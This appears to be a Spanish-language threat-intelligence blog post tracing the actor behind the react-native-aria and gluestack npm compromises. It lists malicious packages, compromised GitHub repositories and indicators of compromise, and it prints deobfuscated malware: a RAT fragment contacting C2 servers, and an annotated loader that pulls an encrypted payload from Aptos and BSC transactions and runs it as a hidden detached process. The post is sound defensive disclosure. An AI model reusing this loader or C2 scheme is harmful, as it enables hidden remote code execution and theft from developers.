Aikido

Una mirada más profunda al actor de amenaza detrás del ataque a react-native-aria

Charlie EriksenCharlie Eriksen
|
#
#

Es posible que hayas visto la reciente noticia sobre un grupo de actores de amenazas que comprometió 16 paquetes populares relacionados con React Native Aria y GlueStack, que nosotros descubrimos y documentamos aquí. Anteriormente, detectamos que comprometieron el paquete rand-user-agent el 5 de mayo de 2025, según se informó aquí

Hemos estado rastreando a este actor de amenazas desde entonces y hemos observado ataques menores que aún no hemos documentado completamente en público. Sin embargo, queríamos recopilarlos para ofrecer una imagen más amplia de su actividad. 

Paquetes maliciosos iniciales

El 8 de mayo de 2025, nuestros sistemas ya nos habían alertado sobre dos nuevos paquetes en npm que parecían ser maliciosos. Son:

Ambos fueron subidos por el mismo usuario, aminengineerings, registrado con el correo electrónico aminengineerings@gmail[.]com. Desde las primeras versiones, ambos contenían la carga útil maliciosa, lo que indica que este paquete pertenece a los propios actores de amenazas.

Más paquetes maliciosos

También observamos dos paquetes adicionales publicados por el atacante después del ataque a gluestack. Los paquetes fueron lanzados el 8 de junio de 2025, bajo los nombres tailwindcss-animate-expand y mongoose-lit. mattfarser.

Específicamente, el paquete tailwindcss-animate-expand es digno de mención, ya que tiene una estructura de payload diferente. La primera parte se ve así:

global['r']=require;(function(){var Afr='',xzH=906-895;...

Ya no vemos que la variable global[‘_V’] se esté configurando. Cuando ejecutamos esto en un sandbox, vemos que el payload final también es ligeramente diferente. El payload se ve así después de la desofuscación:

global._V = 'A4';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c('child_process');
    const j = c('crypto');
    const k = f.platform();
    const l = k.startsWith("win");
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === 'undefined' ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, 'node_modules'));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A("axios");
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          "stdio": "inherit",
          windowsHide: true
        };
        const W = {
          "stdio": "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c("axios");
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
    const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...

Lo que es especialmente interesante es que vemos que la versión es A4, la cual fue referenciada en el ataque durante el fin de semana como una señal para usar el nuevo servidor C2.

También vemos que el servidor C2 “antiguo” ya no se menciona. En su lugar, han añadido la IP 166.88.4[.]2.

Señales de advertencia

Antes de este ataque, habíamos notado que algunos paquetes pequeños estaban siendo comprometidos. Aquí están los paquetes que detectamos:

Paquete Versión Fecha de lanzamiento
@lfwfinance/sdk 1.3.5 3 de junio de 2025
@lfwfinance/sdk-dev 2.0.10 3 de junio de 2025
algorand-htlc 1.0.2 3 de junio de 2025
avm-satoshi-dice 1.0.6 3 de junio de 2025
biatec-avm-gas-station 1.1.2 3 de junio de 2025
arc200-client 1.0.7 3 de junio de 2025
cputil-node 0.6.6 3 de junio de 2025

Estos paquetes pertenecen a tres individuos diferentes y tienen menos de 100 descargas por semana. Parece que estos actores de amenazas son capaces de comprometer consistentemente los tokens de las cuentas de npm. 

Repositorios de GitHub comprometidos 

A medida que investigamos estos ataques más a fondo, decidimos examinar otros ecosistemas en busca de pruebas que pudieran proporcionar más información sobre cómo operan estos actores de amenazas. Pudimos detectar 19 repositorios en GitHub que los mismos actores de amenazas han comprometido:

Repositorio Fecha Commit
LZeroAnalytics / ethereum-faucet 04 jun 2025 23ea1dd
LZeroAnalytics / hardhat-vrf-contracts 04 jun 2025 f325ab6
DogukanGun / TurkClub 23 may 2025 84aaa06
khaliduddin / numbers-game 19 may 2025 36f20cb
DogukanGun / NexWallet 16 may 2025 43193c5
DogukanGun / NexAI 14 may 2025 74d5221
revoks / round-feather-1f9f 01 may 2025 ca05542
LLM-Red-Team / glm-free-api 28 abr 2025 16a0bfc
LLM-Red-Team / deepseek-free-api 08 abr 2025 37f4c58
DogukanGun / pipeline-templates 02 abr 2025 699eb16
mobileteamz / Landhsoft-Frontend 29 mar 2025 e3636c9
UnderGod-dev / portfolio 29 mar 2025 87f8add
DogukanGun / PopScope 26 mar 2025 1775087
DogukanGun / NexAgent 23 mar 2025 7ff7afa
Sid31 / front-buy-free 28 feb 2025 ce93a20
DogukanGun / supabase 12 ene 2025 71e169b
LLM-Red-Team / kimi-free-api 17 dic 2024 2e6397c
LLM-Red-Team / doubao-free-api 13 dic 2024 b0ce4e9
LLM-Red-Team / qwen-free-api 13 dic 2024 d8046bf

Hay un par de commits que destacan en estos, un ejemplo es:

https://github.com/LZeroAnalytics/hardhat-vrf-contracts/commit/f325ab694ff83e12c96a99a58d51635e70edcdbf

El actor de la amenaza ha modificado ligeramente el payload que utiliza. En este caso, han codificado en base64 un payload, que pasan a eval(). Aquí está el payload decodificado, anotado con comentarios que describen su funcionalidad.

/*****************************************************************************************
 *  Malware “loader” that hides its real payload on two block-chains.                    *
 *  Flow ⬇️                                                                             *
 *    🥇  Step-1  Read pointer on Aptos                                                 *
 *    🥈  Step-2  Use pointer on Binance Smart Chain (BSC)                              *
 *    🥉  Step-3  Pull out hidden blob                                                 *
 *    🗝️  Step-4  Decode & decrypt                                                    *
 *    🚀  Step-5  Run it silently                                                      *
 *****************************************************************************************/

/* ─────────────────────────────  Bootstrap  ───────────────────────────── */
global['r'] = require;                 // save `require` as global.r (little obfuscation)
(async () => {

  /* quick aliases */
  const c = global;                    // shorthand for `global`
  const i = c['r'];                    // shorthand for `require`

  /* 🛠 Helper 1: GET url → JSON  */
  async function e (url) {
    return new Promise((resolve, reject) => {
      i('https')
        .get(url, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject)
        .end();
    });
  }

  /* 🛠 Helper 2: call BSC JSON-RPC  */
  async function o (method, params = []) {
    return new Promise((resolve, reject) => {
      const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
      const opts    = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };

      const req = i('https')
        .request(opts, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject);

      req.write(payload);
      req.end();
    });
  }

  /* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
  async function t (aptosAccount) {

    /* 🥇  STEP-1  Read pointer on Aptos */
    const latestTx  = await e(
      `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
    );
    const bscHash   = latestTx[0].payload.arguments[0];   // pointer → BSC tx-hash

    /* 🥈  STEP-2  Fetch BSC transaction carrying the payload */
    const bscTx     = await o('eth_getTransactionByHash', [bscHash]);
    const hexBlob   = bscTx.result.input.slice(2);        // drop "0x"

    /* 🥉  STEP-3  Pull out hidden blob (still unreadable) */
    const rawText   = Buffer.from(hexBlob, 'hex').toString('utf8');
    const b64Chunk  = rawText.split('..')[1];             // keep part after ".."

    /* 🗝️  STEP-4  Decode & decrypt */
    const encrypted = atob(b64Chunk);                     // Base-64 → binary string
    const KEY       = '$v$5;kmc$ldm*5SA';
    let  payload    = '';

    for (let j = 0; j < encrypted.length; j++) {
      payload += String.fromCharCode(
        encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
      );
    }
    return payload;                                      // plain-text JS to execute
  }

  /* 🚀  STEP-5  Run it silently in the background */
  try {
    const script = await t(
      '0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
    );

    i('child_process')
      .spawn(
        'node',
        ['-e', `global['_V']='${c['_V'] || 0}';${script}`],
        { detached: true, stdio: 'ignore', windowsHide: true }
      )
      .on('error', () => { /* swallow child errors */ });

  } catch (err) {
    /* stay quiet on any failure */
  }

})();       

Este código es ingenioso, ya que se autoarranca parcialmente a partir del contenido de dos blockchains diferentes. Aquí tienes una descripción paso a paso:

La transacción en la Binance Smart Chain se puede encontrar a continuación. Cabe destacar que la cartera y el contrato existen desde el 7 de febrero de 2025: 

https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Ejecutamos el código en un sandbox y obtuvimos el payload final, y era el mismo payload que ya habíamos documentado anteriormente sin cambios significativos. 

Conclusiones

Observamos que el actor de la amenaza está comprometiendo activa y consistentemente no solo paquetes npm, sino también repositorios de GitHub. Además, han estado experimentando con el despliegue de sus propios paquetes con su RAT. También han comenzado a utilizar Blockchains como método para distribuir su código malicioso. 

Indicadores de compromiso

Paquetes

  • solanautil
  • web3-socketio
  • tailwindcss-animate-expand
  • mongoose-lite
  • @lfwfinance/sdk
  • @lfwfinance/sdk-dev
  • algorand-htlc
  • avm-satoshi-dice
  • biatec-avm-gas-station
  • arc200-client
  • cputil-node

IPs

  • 166.88.4[.]2
  • 136.0.9[.]8

Cuenta de Aptos

  • 0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d

Dirección BSC

  • 0x9BC1355344B54DEDf3E44296916eD15653844509

Contrato BSC

  • 0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c

4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.